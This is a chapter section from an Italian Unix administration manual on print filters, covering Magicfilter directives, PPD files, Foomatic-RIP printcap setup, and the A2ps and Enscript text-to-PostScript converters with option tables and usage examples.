`pipe` *comando*	Con la parola chiave '**pipe**' si ottiene una cosa simile a quella che si ha con '**filter**', con la differenza che il risultato emesso dal comando, viene rielaborato dal filtro, come passaggio ulteriore. Questo meccanismo, se non viene usato nel modo corretto, potrebbe creare un ciclo infinito. Bisogna essere certi che prima o poi, i dati reimmessi nel filtro, trovino a un certo punto l'uscita corretta.

Opzione	Descrizione
`fpipe` ***comando*** `ffilter` ***comando***	Si tratta dell'unione di '**`filter`**' e '**`pipe`**', con la differenza che il file proveniente dallo standard input viene prima salvato in un file temporaneo, il cui nome è disponibile attraverso la variabile di ambiente ***FILE***. Questo permette di utilizzare un comando che accede a un file su disco, presumibilmente perché ha bisogno di accedervi in modo non sequenziale. L'elaborazione che si ottiene viene reimmessa nel filtro per un passaggio successivo.

Segue la descrizione di alcuni esempi.

- ```
  0       %!              filter  \
      /usr/bin/gs -q -dSAFER -dNOPAUSE -r300 -sDEVICE=ljet4 -sOutputFile=- -
  ```
  Questa direttiva serve a individuare i file PostScript, in quanto questi dovrebbero iniziare con la stringa '**`%!`**'. A questo tipo di file viene abbinata l'elaborazione da parte di '**`gs`**' (Ghostscript), con le opzioni opportune per ottenere un risultato adatto a una stampante di tipo HP Laserjet 4, emesso attraverso lo standard output.

- ```
  0       \037\235        pipe    /bin/gzip  -cdq
  ```
  In questo caso, sembra trattarsi di un file compresso con '**`gzip`**', pertanto viene estratto e rinviato al filtro, in modo da rianalizzare il contenuto prima di inviarlo alla stampa.

- ```
  0       MM\0\x2a        fpipe   /usr/bin/tiff2ps  $FILE
  0       II\x2a\0        fpipe   /usr/bin/tiff2ps  $FILE
  ```
  Nel caso il file sembri un formato TIFF, viene utilizzato il programma '**`tiff2ps`**' per convertire l'immagine in un file PostScript, che poi viene reimmesso nel filtro, in modo che questo file possa raggiungere la direttiva corretta per la sua utilizzazione finale. Si osservi l'uso della variabile di ambiente ***FILE***, per fornire al programma '**`tiff2ps`**' il nome del file temporaneo che viene generato in questo caso.

- ```
  0       \177ELF         reject  Tentativo di stampare un binario ELF.
  ```
  Sembra trattarsi di un binario ELF che ovviamente non può essere stampato.

- ```
  default                 cat
  ```
  Questo è l'esempio più semplice di una direttiva finale che serve a definire cosa fare con i file di testo. In questo caso, i dati vengono lasciati tali e quali, mentre in un'altra situazione ci si potrebbe accertare di convertire il codice di interruzione di riga in modo che corrisponda alla sequenza *<CR><LF>*.

Magicfilter non prevede degli script pronti per l'uso di HPIJS, ma conoscendo le opzioni necessarie, è possibile modificarne uno di quelli già esistenti. L'esempio seguente mostra una porzione di una copia dello script '**`laserjet-filter`**', modificata in modo da usare HPIJS. Si osservi che le righe sono suddivise in più punti, per motivi tipografici:
  ```

```
…
# PostScript
0 %! filter /usr/bin/gs -q -dSAFER -dNOPAUSE -r300 ⮐
↪           -sDEVICE=ijs -sIjsServer=hpijs -dIjsUseOutputFD ⮐
↪           -sDeviceManufacturer="HEWLETT-PACKARD" ⮐
↪           -sDeviceModel="HP LaserJet" ⮐
↪          -sOutputFile=- /usr/share/magicfilter/quiet.ps - -c quit
0 \004%! filter /usr/bin/gs -q -dSAFER -dNOPAUSE -r300 ⮐
↪           -sDEVICE=ijs -sIjsServer=hpijs -dIjsUseOutputFD ⮐
↪           -sDeviceManufacturer="HEWLETT-PACKARD" ⮐
↪           -sDeviceModel="HP LaserJet" ⮐
↪           -sOutputFile=- ⮐
↪           /usr/share/magicfilter/quiet.ps - -c quit

# Wind/U postscript driver. This one creates broken postscript, so we have to
# put in a special case to convert it to PCL first
65 "%%Creator: Wind/U" filter /usr/bin/gs -q -dSAFER -dNOPAUSE -r300 ⮐
↪           -sDEVICE=ijs -sIjsServer=hpijs -dIjsUseOutputFD ⮐
↪           -sDeviceManufacturer="HEWLETT-PACKARD" ⮐
↪           -sDeviceModel="HP LaserJet" ⮐
↪           -sOutputFile=- /usr/share/magicfilter/quiet.ps - -c quit
…
```

30.5.3.2 Funzionamento e utilizzazione pratica di Magicfilter

L'eseguibile '**`magicfilter`**' legge il file di configurazione che gli viene fornito come primo argomento nella riga di comando, comportandosi di conseguenza:

`magicfilter` ***file_di_configurazione*** [***opzioni***]

È necessario ricordare che '**`magicfilter`**' non viene avviato dall'utente, ma dal demone di stampa; pertanto, le opzioni sono quelle che passa lo stesso demone e '**`magicfilter`**' deve essere in grado di interpretarle. Dal momento che il demone di stampa non fornisce alcuna informazione sul file di configurazione, per fare in modo che questo sia indicato, si trasformano i file di configurazione in script, come è già stato mostrato, utilizzando tali script come se fossero i veri filtri di stampa. In effetti, in questo modo, si ottiene proprio di avviare '**`magicfilter`**' con il nome dello script come primo argomento e le altre opzioni subito dopo, esattamente come si vede nello schema sintattico.

Magicfilter è stato realizzato allo scopo di essere utilizzato come filtro di ingresso ('**`if`**') ed è in grado di interpretare solo le opzioni che vengono passate in questa situazione dal demone di stampa. A titolo informativo, la tabella 30.56 elenca le opzioni principali che l'eseguibile '**`magicfilter`**' è in grado di interpretare.

Tabella 30.56. Opzioni standard che vengono interpretate da Magicfilter, in quanto filtro di ingresso di un sistema di stampa.

Opzione	Descrizione
`-c`	Lascia i dati inalterati.
`-n`***utente***	Nominativo utente, disponibile attraverso la variabile ***LPUSER***.
`-h`***nodo***	Elaboratore di origine, disponibile attraverso la variabile ***LPHOST***.

Opzione	Descrizione
`-i`***rientro***	Rientro, disponibile attraverso la variabile ***LPINDENT***.

Magicfilter si compone già di un buon numero di file di configurazione, ovvero di script, realizzati per altrettanti tipi di stampanti differenti. Di solito è sufficiente scegliere quello adatto, salvo la possibilità di provare tutti quelli simili in modo da poter scegliere il migliore in base al risultato preferito. Dal momento che, bene o male, si tratta di file di configurazione, questi script dovrebbero essere collocati nella directory '`/etc/magicfilter/`'. Quello che segue è l'esempio di un file '`/etc/printcap`' predisposto per gestire una stampate compatibile con il tipo HP Laserjet normale. Per la precisione, il file '`/etc/magicfilter/laserjet-filter`' è uno di questi script di configurazione.

```
lp|Stampante predefinita
        :lp=/dev/lp0:\
        :sd=/var/spool/lpd/lp:\
        :if=/etc/magicfilter/laserjet-filter:\
        :mx#0:\
        :sh:
```

In condizioni normali, una coda di stampa organizzata in questo modo va bene per qualunque file da stampare. Eventualmente, in caso di bisogno, si può modificare leggermente qualche direttiva del file di configurazione scelto, magari dopo averne fatta una copia.

30.5.4 PostScript printer description

Le stampanti PostScript consentono ai programmi di produrre un unico formato per la stampa, indipendentemente dalle caratteristiche fisiche della stampante; tuttavia, rimangono delle caratteristiche spicciole da considerare, come il formato della carta disponibile, la possibilità di selezionare nella stampante un vassoio di carta invece di un altro, assieme ad altri dettagli. Dal momento che le stampanti hanno quindi delle caratteristiche che vanno al di là del linguaggio di stampa, il software che si occupa di gestire la stampante, ha comunque la necessità di avere delle notizie sulla stessa, anche per consentire all'utente di selezionare le funzioni che gli interessano.

A fianco del linguaggio PostScript è stato sviluppato quindi un file di configurazione definito PPD, ovvero *PostScript printer description*, con il quale i produttori di stampanti PostScript possono dichiarare le caratteristiche particolari della propria stampante, in modo che il software di gestione della stampa le acquisisca senza complicazioni.

Nei sistemi Unix, il sistema dei file PPD per la definizione delle caratteristiche delle stampanti, viene esteso anche a quelle che non utilizzano il linguaggio PostScript direttamente, attraverso delle estensioni molto semplici. Segue un estratto del contenuto di un file PPD, prodotto dalla stessa casa costruttrice di una stampante PostScript, preparato per un sistema MS-Windows:

```
*PPD-Adobe: "4.3"
*% ==========================================================
*% Printer Description File
*% Copyright 1992-97 Hewlett-Packard Company
*%    October 7, 1997
```

```
*%=========================================================
*% PPD for HP LaserJet 4000 Series
*% For Windows NT 3.51
*%======================================================================
*% === PPD File Version Information ====
*FileVersion:      "1.1"
*FormatVersion:    "4.3"
*LanguageEncoding: ISOLatin1
*LanguageVersion:  English
*PCFileName:       "HP4000_5.PPD"

*% === Product Version Information ====
*ModelName:     "HP LaserJet 4000 Series"
*ShortNickName: "HP LaserJet 4000 Series PS"
*NickName:      "HP LaserJet 4000 Series PS"
*Product:       "(HP LaserJet 4000 Series)"
*Manufacturer:  "HP"
*PSVersion:     "(2014.108) 1"

*%=== Device Capabilities ==================
*ColorDevice:       False
*DefaultColorSpace: Gray
*FileSystem:        True
*?FileSystem: "
   save
     false
     (%disk?%)
     { currentdevparams dup /Writeable known
        { /Writeable get {pop true} if }  { pop } ifelse
     } 100 string /IODevice resourceforall
     {(True)}{(False)} ifelse = flush
   restore
"
*End

*LanguageLevel: "2"
*Throughput:    "17"
*TTRasterizer:  Type42
*?TTRasterizer: "
   save
      42 /FontType resourcestatus
      { pop pop (Type42)} {pop pop (None)} ifelse = flush
   restore
"
*End
…
…
```

```
*Reset: "
  count 0 eq { false } { true exch startjob } ifelse
  not {
    (WARNING: Cannot reset printer.) =
    (Missing or invalid password.) =
    (Please contact the author of this software.) = flush quit
    } if
  systemdict /quit get exec
  (WARNING : Printer Reset Failed.) = flush
"
*End

*% =======================================
*% For "HP LaserJet 4000 Series" version 2014.108
*% =======================================
```

Come accennato, nei sistemi Unix i file PPD vengono usati utilmente anche per stampanti che non riconoscono il linguaggio PostScript direttamente, aggiungendo delle estensioni con cui si specifica in che modo usare Ghostscript. Segue un estratto di un file PPD utilizzato da Foomatic-RIP, dove viene evidenziato proprio il riferimento a Ghostscript:

```
*PPD-Adobe: "4.3"
*%
*% For information on using this, and to obtain the required backend
*% script, consult http://www.linuxprinting.org/
*%
*FormatVersion: "4.3"
*FileVersion:   "1.1"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName:    "LASERJET.PPD"
*Manufacturer:  "HP"
*Product:       "(LaserJet)"
*cupsVersion:   1.0
*cupsManualCopies: True
*cupsModelNumber:  2
*cupsFilter:    "application/vnd.cups-postscript 0 foomatic-rip"
*%pprRIP:        foomatic-rip other
*ModelName:     "HP LaserJet"
*ShortNickName: "HP LaserJet laserjet"
*NickName:      "HP LaserJet Foomatic/laserjet (recommended)"
*PSVersion:     "(3010.000) 550"
*PSVersion:     "(3010.000) 651"
*PSVersion:     "(3010.000) 652"
*PSVersion:     "(3010.000) 653"
*PSVersion:     "(3010.000) 704"
*PSVersion:     "(3010.000) 705"
*PSVersion:     "(3010.000) 800"
```

```
*LanguageLevel: "3"
*ColorDevice:   False
*DefaultColorSpace: Gray
*FileSystem:    False
*Throughput:    "1"
*LandscapeOrientation: Plus90
*TTRasterizer:  Type42

*VariablePaperSize: False

*FoomaticIDs: HP-LaserJet laserjet
*FoomaticRIPCommandLine: "gs -q -dBATCH -dPARANOIDSAFER -dQUIET ↩
↪-dNOPAUSE -sDEVICE=laserjet%A%Z -sOutputFile=- - ↩
↪| perl -p -0033 -e &quot; s/^&amp;l\d+[aA]/$&amp;%E/; &quot; "
*End

*OpenGroup: General/General
...
...
```

30.5.5 Foomatic-RIP

Foomatic-RIP[910] è una parte del sistema Foomatic per la gestione della stampa. Foomatic-RIP è un filtro universale, in quanto adattabile a qualsiasi sistema di stampa, che si avvale di file PPD per acquisire le caratteristiche delle stampanti.

Foomatic-RIP viene usato generalmente all'interno del sistema di stampa, attraverso la configurazione del file '/etc/printcap'; tuttavia, la sintassi di utilizzo può variare leggermente da un sistema all'altro. Segue un esempio di configurazione abbastanza generalizzato di tale file:

```
lp:\
        :lp=/dev/lp0:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/log/lp-acct:\
        :lf=/var/log/lp-errs:\
        :if=/usr/bin/foomatic-rip:\
        :ppd=/usr/share/ppd/hp-laserjet.ppd:\
        :pl#66:\
        :pw#80:\
        :pc#150:\
        :mx#0:\
        :mc#999:\
        :sh:
```

Come si può intuire leggendo il contenuto, il tipo di stampante viene indicato facendo riferimento a un file PPD, '/usr/share/ppd/hp-laserjet.ppd', che comunque deve essere stato realizzato specificatamente per Foomatic-RIP, con le estensioni a lui necessarie.

Attraverso il file PPD, può essere specificato anche se per la stampa ci si deve avvalere di programmi come HPIJS, con tutte le opzioni che eventualmente fossero necessarie.

30.5.6 Controllo dell'impostazioni della carta

Nel momento in cui la stampa è gestita attraverso un sistema di filtri, per come è stato mostrato in questo capitolo, i programmi non hanno la possibilità di definire il formato della carta. Infatti, non hanno alcun modo di colloquiare con il sistema di stampa sottostante; al massimo possono scegliere la coda di stampa.

In questo senso, se si dispone di una stampante con la quale possono essere utilizzati diversi formati di carta, occorre definire altrettante code di stampa differenti: ognuna predisposta per un formato diverso. In questo modo, il programma che ha bisogno di un certo formato, deve inviare la richiesta di stampa utilizzando la coda adatta per questo.

Nella sezione 29.2 viene affrontato anche il problema dell'allineamento delle stampanti, dal momento che alle volte queste introducono dei margini che sfasano la stampa, cosa che crea problemi specialmente nel momento della rilegatura di un testo.

30.6 Uniformità del sistema di stampa: da testo a PostScript

Un sistema di filtri di stampa ben organizzato deve passare per la generazione di un formato intermedio (prima di quello finale adatto alla stampante) per poter gestire l'impostazione della stampa in modo completamente trasparente. La figura 30.61 mostra questa idea.

Figura 30.61. Stampa attraverso un formato intermedio uniforme.

file da stampare

conversione

stampante

PostScript

conversione con Ghostscript

L'esistenza di Ghostscript, descritto meglio nella sezione 29.1, giustifica la scelta del formato PostScript come standard per il formato intermedio di stampa, benché questo formato sia proprietario. L'utilità di questo passaggio obbligato sta anche nel fatto che prima della conversione finale, il formato PostScript può essere rimaneggiato, per adattarlo a esigenze particolari, compresa la riduzione o l'ingrandimento. Tuttavia, in questa situazione, anche i file di testo vanno rielaborati in modo da generare prima un file PostScript. A questo scopo sono stati realizzati programmi come A2ps.

30.6.1 A2ps

A2ps [11] è un programma per generare file PostScript a partire, prevalentemente, da file di testo. Gli obiettivi di chi sviluppa A2ps vanno oltre tale livello; tuttavia, questa è la sua funzionalità più importante.

A2ps è controllato da un file di configurazione generale, '/etc/a2ps.cfg', al quale può essere affiancato un file personale, '~/.a2ps/a2psrc', e anche uno locale (nella directory corrente), '.a2psrc'. Pur senza approfondire la configurazione di A2ps, vale la pena di descrivere brevemente come si compongono questi file. Il simbolo '**#**' rappresenta l'inizio di un commento che termina alla fine della riga; le righe bianche e quelle vuote vengono ignorate; le altre righe sono direttive nella forma:

> ***tipo_dichiarazione*** **:** ***dichiarazione***

Il file di configurazione generale che di solito viene fornito assieme al programma ('/etc/a2ps.cfg') dovrebbe essere adatto alla maggior parte delle situazioni e in generale non serve altro per utilizzare A2ps. In ogni caso, questo file è commentato molto bene e la documentazione che fornisce A2ps è molto dettagliata (*info a2ps*).

A2ps si utilizza in pratica attraverso l'eseguibile '**a2ps**', il cui scopo è quello di ricevere uno o più file in modo da poter generare una trasformazione adeguata in formato PostScript:

> a2ps [***opzioni***] [***file***...]

I file possono essere indicati attraverso la riga di comando e in mancanza della loro indicazione viene usato lo standard input. Lo scopo di A2ps è quello di generare un file PostScript, secondo quanto definito nella configurazione, oppure dalle opzioni della riga di comando. In generale, il risultato viene inviato alla stampa attraverso il comando '**lpr**', come si può vedere dalla direttiva seguente, che appare generalmente nel file di configurazione globale, con la quale si dichiara l'invio dello standard output verso tale comando di stampa:

```
# First, the default printer (option -d, no argument)
DefaultPrinter: | lpr
```

Di solito non c'è ragione di cambiare questo comportamento di A2ps, ma è importante sapere che non è sempre necessariamente così.

Il fatto che A2ps sia configurato in questo modo, lo rende simile a un comando di stampa alternativo a quello normale, per cui, il comando

$ **lpr pippo** [*Invio*]

viene sostituito direttamente dal comando

$ **a2ps pippo** [*Invio*]

che in più si occupa di impaginare meglio il testo.

Ovviamente, tutto questo presuppone che la coda di stampa predefinita, ovvero quella che viene utilizzata quando si usa il comando '**lpr**' senza specificare altro, sia in grado di gestire file PostScript.

A2ps offre molte possibilità nel modo di impaginare il testo e non si limita semplicemente a consentire la stampa ridotta di più pagine virtuali su una facciata singola. È molto importante anche la sua capacità di evidenziare il testo in funzione del suo contenuto, cosa che diventa molto utile per la lettura dei sorgenti di un programma. La tabella 30.64 riepiloga brevemente alcune opzioni più importanti che possono essere usate nella riga di comando dell'eseguibile '**a2ps**', opzioni che possono essere anche incluse nella configurazione attraverso direttive nella forma:

`Options:` ***opzione_della_riga_di_comando***

Per esempio, per selezionare il formato di carta A4 si può utilizzare l'opzione '**--medium=A4**' nella riga di comando, oppure la direttiva seguente nel file di configurazione:

```
Options: --medium=A4
```

Tabella 30.64. Alcune opzioni di A2ps.

Opzione	Alternativa	Descrizione
`-M` ***carta***	`--medium=`***carta***	Dimensione della carta.
`-r`	`--landscape`	Orientamento orizzontale.
`-R`	`--portrait`	Orientamento verticale.
`-`***n***		***n*** pagine virtuali per ogni pagina reale.
`-j`	`--borders={yes|no}`	Bordi attorno alle pagine virtuali.
`-A`	`--compact={yes|no}`	Unione di più file in un solo foglio.
`-f` ***n***	`--font-size=`***n***	***n*** punti per la dimensione dei caratteri.
`-l` ***n***	`--chars-per-line=`***n***	***n*** caratteri per riga.
`-L` ***n***	`--lines-per-page=`***n***	***n*** righe per pagina virtuale.
`-m`	`--catman`	Pagina di manuale; come '**-L66**'.
`-T` ***n***	`--tabsize=`***n***	Dimensione degli stop di tabulazione.
`-B`	`--no-header`	Nessuna intestazione.
`-a` ***m***[`-`***n***]	`--pages=`***m***[`-`***n***]	Seleziona un intervallo di pagine.
`-o` ***file***	`--output=`***file***	Crea un file e non invia alla stampa.
`-P` ***coda***	`--printer=`***coda***	Coda di stampa a cui inviare il risultato.

Opzione	Alternativa	Descrizione
`-d`		Invia il risultato alla coda di stampa predefinita.
`-E`***tipo***	`--pretty-print=`***tipo***	Definizione dello stile di evidenziamento del testo (tabella 30.65).
`-X` ***codifica***	`--encoding=`***codifica***	Definizione della codifica in cui è scritto il testo (tabella 30.66).

La tabella 30.65 riporta invece l'elenco di alcuni nomi di stili di evidenziamento della stampa, in funzione del contenuto del file di testo che si intende stampare. Questi nomi si usano con l'opzione '**`-E`**'.

Tabella 30.65. Alcuni nomi che definiscono uno stile nel modo di evidenziare il testo.

Tipo	Descrizione
`sh`	Script di una shell Bourne.
`html`	Sorgente HTML.
`mail`	Messaggio di posta elettronica.
`udiff`	File di differenze in formato unificato.
`make`	File-make.
`ada`	Sorgente in linguaggio ADA.
`c`	Sorgente in linguaggio C.
`cpp`	Sorgente in linguaggio C++.
`gnuc`	Sorgente in linguaggio GNU C.
`clisp`	Sorgente in linguaggio Common Lisp.
`eiffel`	Sorgente in linguaggio Eiffel.
`elisp`	Sorgente in linguaggio Emacs Lisp.
`fortran`	Sorgente in linguaggio Fortran.
`java`	Sorgente in linguaggio Java.
`pascal`	Sorgente in linguaggio Pascal.
`python`	Sorgente in linguaggio Python.
`scheme`	Sorgente in linguaggio Scheme.
`sql92`	Sorgente in linguaggio SQL92.

La tabella 30.66 riporta l'elenco delle sigle che si possono utilizzare con l'opzione '**`-X`**' per

definire la codifica con cui è scritto il testo da convertire. Si osservi che è probabile non sia disponibile una codifica UTF-8.

Tabella 30.66. Alcuni nomi che identificano la codifica del testo.

Nome	Descrizione
`ASCII`	ASCII normale.
`IBM-CP437`	IBM CP437.
`IBM-CP850`	IBM CP850.
`ISO-8859-1`	ISO 8859-1 (Latin 1).
`ISO-8859-2`	ISO 8859-2 (Latin 2).
`ISO-8859-10`	ISO 8859-10.
`ISO-8859-15`	ISO 8859-15 (Latin 9).
`ISO-8859-3`	ISO 8859-3.
`ISO-8859-4`	ISO 8859-4.
`ISO-8859-5`	ISO 8859-5.
`ISO-8859-7`	ISO 8859-7.
`ISO-8859-9`	ISO 8859-9.
`MS-CP1250`	Microsoft CP1250.

Prima di passare all'elenco di esempi comuni, vale la pena di proporre il comando che potrebbe essere usato in un filtro di stampa per gestire i file di testo, senza lasciare che questi vengano inviati direttamente alla stampante:

```
a2ps -1 -M A4 -f 11 --borders=no -B -o -
```

In questo modo si specifica che: si vuole ottenere una pagina virtuale per ogni pagina reale; il formato della carta è A4; il testo deve utilizzare un carattere da 11 punti (è la dimensione ottimale per stampare 80 colonne); non si vogliono bordi attorno alla pagina virtuale; non si vuole alcuna intestazione; il risultato in PostScript deve essere emesso attraverso lo standard output.

Volendo intervenire nella configurazione di Magicfilter, si potrebbe sostituire la solita direttiva:

```
default                    cat
```

La nuova direttiva potrebbe essere come quella seguente:

```
default   pipe   /usr/bin/a2ps -1 -M A4 -f 11 --borders=no -B -o - 2> /dev/null
```

Segue la descrizione di alcuni esempi. Questi esempi fanno riferimento alla configurazione tipica di A2ps.

- $ **a2ps pippo** [*Invio*]

  Mette in stampa il file '`pippo`', dopo averlo convertito in PostScript. In condizioni normali, si ottiene la stampa di due pagine virtuali per foglio reale, con un orientamento orizzontale.

- $ **a2ps -2 pippo** [*Invio*]

  Probabilmente, si tratta della stessa cosa dell'esempio precedente, con l'indicazione esplicita della richiesta di stampare due pagine virtuali per foglio.

- $ **a2ps -2 -P laser pippo** [*Invio*]

  Come nell'esempio precedente, indicando espressamente la scelta della coda di stampa denominata '**laser**'.

- $ **a2ps -2 -o pippo.ps pippo** [*Invio*]

  Come nell'esempio precedente, ma senza stampare: viene generato il file '`pippo.ps`'.

- $ **a2ps -2 -R pippo** [*Invio*]

  Invia alla stampa il solito file, dopo averlo convertito in PostScript, in modo tale da ottenere due pagine virtuali, ma con un orientamento verticale. In questo modo, il testo è più piccolo e ogni pagina virtuale contiene un numero molto elevato di righe.

- $ **man 1 a2ps | a2ps -2 -m** [*Invio*]

  Stampa la pagina di manuale *a2ps(1)*, impaginandola nel modo migliore per questo tipo di informazioni.

- $ **a2ps -2 -Esh /etc/profile** [*Invio*]

  Stampa il file '`/etc/profile`', utilizzando un sistema di evidenziamento ottimale per gli script di shell Bourne o derivate.

- ```
  #! /bin/sh
  a2ps --portrait --columns=1 --margin=30 --no-header --borders=no \
      --lines-per-page=66 --chars-per-line=80 --font-size=10       \
      --interpret=yes --output=-
  ```

  Lo script permette di generare un file PostScript attraverso lo standard output a partire da un file di testo normale, fornito attraverso lo standard input. Per la precisione, si vuole ottenere una sola colonna verticale, con un margine simmetrico (nel caso di carta A4), senza scritte o bordi aggiuntivi, garantendo 80 colonne e 66 righe per pagina.

- ```
  #! /bin/sh
  a2ps --portrait --columns=1 --margin=30 --no-header --borders=no  \
      --chars-per-line=80 --font-size=10                            \
      --interpret=yes --output=-
  ```

  Come nell'esempio precedente, ma senza porre un limite alla quantità di righe per pagina, che così possono essere anche di più delle 66 standard.

-
```
#! /usr/sbin/magicfilter
…
…
# Default entry -- for normal (text) files.  MUST BE LAST.
#default                        cat     \eE\e&k2G\e(0N  \eE
default   pipe  a2ps --portrait --columns=1 --margin=30        \
    --no-header --borders=no                                   \
    --chars-per-line=80 --font-size=10                         \
    --interpret=yes --output=-                                 \
    2> /dev/null
```
  L'esempio mostra l'ultima istruzione di uno script di Magicfilter, allo scopo di stampare automaticamente del testo normale aggiungendo un po' di margini, come già mostrato nell'esempio precedente.

-
```
#! /bin/sh
/usr/bin/a2ps --medium=A4 -1 --lines-per-page=66 \
              --chars-per-line=136 --tabsize=8 \
              --encoding=ISO-8859-1 --non-printable-format=space \
              --no-header --landscape --debug
```
  Si tratta di un altro script, realizzato in modo da gestire file di testo fino a 136 colonne, in orizzontale. Non tutte le opzioni sono indispensabili.

30.6.2 Enscript

Enscript[12] è un programma per generare file PostScript e altri formati, a partire da file di testo.

Enscript prevede una serie di file di configurazione, '`~/.enscriptrc`', '`/etc/enscriptsite.cfg`' e '`/etc/enscript.cfg`', dove il primo è quello personale di ogni utente, il secondo è un primo file di configurazione generale, mentre il terzo è un file di configurazione di sistema. L'ordine in cui sono indicati questi file, rappresenta anche l'ordine di precedenza che hanno le direttive al loro interno.

Senza approfondire la configurazione di Enscript, vale la pena di descrivere brevemente come si compongono questi file. Il simbolo '**#**' rappresenta l'inizio di un commento che termina alla fine della riga; le righe bianche e quelle vuote vengono ignorate; le altre righe sono direttive nella forma:

tipo_dichiarazione **:** ***dichiarazione***

Il file di configurazione generale che di solito viene fornito assieme al programma ('`/etc/enscript.cfg`') dovrebbe essere adatto alla maggior parte delle situazioni. In ogni caso, questo file è commentato molto bene e la documentazione disponibile è molto dettagliata (*enscript(1)*).

Enscript si utilizza in pratica attraverso l'eseguibile '**`enscript`**', il cui scopo normale è quello di comporre in formato PostScript uno o più file indicati come argomento:

```
enscript [opzioni] [file...]
```

I file possono essere indicati attraverso la riga di comando, ma in mancanza di questa indicazione viene usato lo standard input. Lo scopo di Enscript è quello di generare un file PostScript, o un altro tipo di formato finale, ma il modo in cui questo file viene restituito dipende dalla configurazione, oppure dalle opzioni della riga di comando. In generale, il risultato viene inviato alla stampa attraverso il comando '**lpr**', in base alla direttiva seguente:

```
# Where output goes as a default: 'printer' or 'stdout'
DefaultOutputMethod: printer
```

Di solito non c'è motivo di cambiare questo comportamento di Enscript, ma è importante sapere che non è sempre necessariamente così. In tal modo, Enscript può essere usato come se fosse un comando di stampa, dove uno qualunque dei due comandi seguenti, si traduce direttamente nella stampa del file 'pippo':

$ **enscript pippo** [*Invio*]

$ **cat pippo | enscript** [*Invio*]

La configurazione di Enscript prevede anche l'indicazione esplicita del comando di stampa e della coda di stampa a cui inviare il file generato dalla composizione. Generalmente non è necessario preoccuparsi di questo fatto, dal momento che un sistema di stampa configurato correttamente è in grado di gestire tutto attraverso la coda predefinita. Tuttavia è bene tenere in considerazione le direttive necessarie a tale definizione:

```
# Printer name to spool to.  As a default we want to use system's
# default printer.
# Printer: ps

# The spooler command switch to select the printer queue.  This option
# can also be used to pass other flags to the spooler command but they
# must be given before the queue switch.
QueueParam: -P

# Printer spooler command name.
Spooler: lpr
```

Enscript offre molte possibilità nel modo di impaginare il testo, senza limitarsi a consentire la stampa ridotta di più pagine virtuali su una facciata singola. È molto importante anche la sua capacità di evidenziare il testo in funzione del suo contenuto, per facilitare la lettura dei sorgenti di un programma. La tabella 30.76 riepiloga brevemente alcune opzioni più importanti che possono essere usate nella riga di comando dell'eseguibile '**enscript**', opzioni che possono essere anche incluse automaticamente attraverso la variabile di ambiente ***ENSCRIPT***, nello stesso modo in cui apparirebbero nella riga di comando.

Tabella 30.76. Alcune opzioni di Enscript.

Opzione	Alternativa	Descrizione
`-M` ***carta***	`--media=`***carta***	Dimensione della carta.
	`--list-media`	Elenca i formati disponibili della carta.
`-r`	`--landscape`	Orientamento orizzontale.
`-R`	`--portrait`	Orientamento verticale.
`-`***n***	`--columns=`***n***	Testo su ***n*** colonne.
`-U` ***n***	`--nup=`***n***	***n*** pagine virtuali.
`-j`	`--borders`	Bordi attorno alle pagine virtuali.
`-f` ***nome***`@`***n***	`--font=`***nome***`@`***n***	Nome e dimensione del carattere da stampa.
`-f` ***nome***`@`***m***`/`***n***	`--font=`***nome***`@`***m***`/`***n***	Nome, larghezza e altezza del carattere.
	`--margins=`***sx*** **:** ***dx*** **:** ***sopra*** **:** ***sotto***	Margini in punti.
`-l`	`--lineprinter`	66 righe per pagina senza intestazione.
`-L` ***n***	`--lines-per-page=`***n***	***n*** righe per pagina virtuale.
`-T` ***n***	`--tabsize=`***n***	Dimensione degli stop di tabulazione.
`-B`	`--no-header`	Nessuna intestazione.
`-a` ***m*** [`-`***n***]	`--pages=`***m*** [`-`***n***]	Seleziona un intervallo di pagine.
`-a odd`|`even`	`--pages=odd`|`even`	Seleziona pagine dispari o pagine pari.
`-o` ***file*** `-p` ***file*** **,**	`--output=`***file***	Crea un file e non invia alla stampa.
`-P` ***coda*** `-d` ***coda***	`--printer=`***coda***	Coda di stampa a cui inviare il risultato.
`-q`	`--quiet` `--silent`	Funzionamento silenzioso.
`-E`***tipo***	`--pretty-print=`***tipo***	Stile di evidenziamento del testo (tabella 30.77).
	`--help-pretty-print`	Elenca gli stili disponibili.
`-W PostScript`	`--language=PostScript`	Composizione in PostScript.
`-W html`	`--language=html`	Composizione in HTML.

Opzione	Alternativa	Descrizione
`-W overstrike`	`--language=overstrike`	Testo con comandi di sovra-scrittura.
`-W rtf`	`--language=rtf`	Composizione in RTF.
`-X` ***codifica***	`--encoding=`***codifica***	Codifica in cui è scritto il testo (tabella 30.78).
`-Z`	`--pass-through`	Non modifica i file PostScript e PCL.

La tabella 30.77 riporta invece l'elenco di alcuni nomi di stili di evidenziamento della stampa, in funzione del contenuto del file di testo che si intende stampare. Questi nomi si usano con l'opzione '**`-E`**' e possono essere elencati completamente con l'opzione '**`--help-pretty-print`**'.

Tabella 30.77. Alcuni nomi che definiscono uno stile nel modo di evidenziare il testo.

Tipo	Descrizione
`sh`	Script di una shell Bourne.
`html`	Sorgente HTML.
`mail`	Messaggio di posta elettronica.
`diff`	File di differenze standard.
`diffu`	File di differenze in formato unificato.
`makefile`	File-make.
`ada`	Sorgente in linguaggio ADA.
`c`	Sorgente in linguaggio C.
`cpp`	Sorgente in linguaggio C++.
`elisp`	Sorgente in linguaggio Emacs Lisp.
`fortran`	Sorgente in linguaggio Fortran.
`java`	Sorgente in linguaggio Java.
`pascal`	Sorgente in linguaggio Pascal.
`perl`	Sorgente in linguaggio Perl.
`python`	Sorgente in linguaggio Python.
`scheme`	Sorgente in linguaggio Scheme.
`sql`	Sorgente in linguaggio SQL.

La tabella 30.78 riporta l'elenco delle sigle che si possono utilizzare con l'opzione '**-x**' per definire la codifica con cui è scritto il testo da convertire. Si osservi che potrebbe non essere disponibile la codifica UTF-8.

Tabella 30.78. Alcuni nomi che identificano la codifica del testo.

Nome	Descrizione
`88591` `latin1`	ISO 8859-1
`88592` `latin2`	ISO 8859-2
`88593` `latin3`	ISO 8859-3
`88594` `latin4`	ISO 8859-4
`88595` `cyrillic`	ISO 8859-5
`88597` `greek`	ISO 8859-7
`88599` `latin5`	ISO 8859-9
`885910` `latin6`	ISO 8859-10
`ascii`	ASCII normale

`asciifise`
`asciifi`
`asciise`
	ASCII finlandese e svedese

`asciidkno`
`asciidk`
`asciino`
	ASCII danese e norvegese

Nome	Descrizione

`ibmpc`
`pc`
`dos`
	IBM CP437.
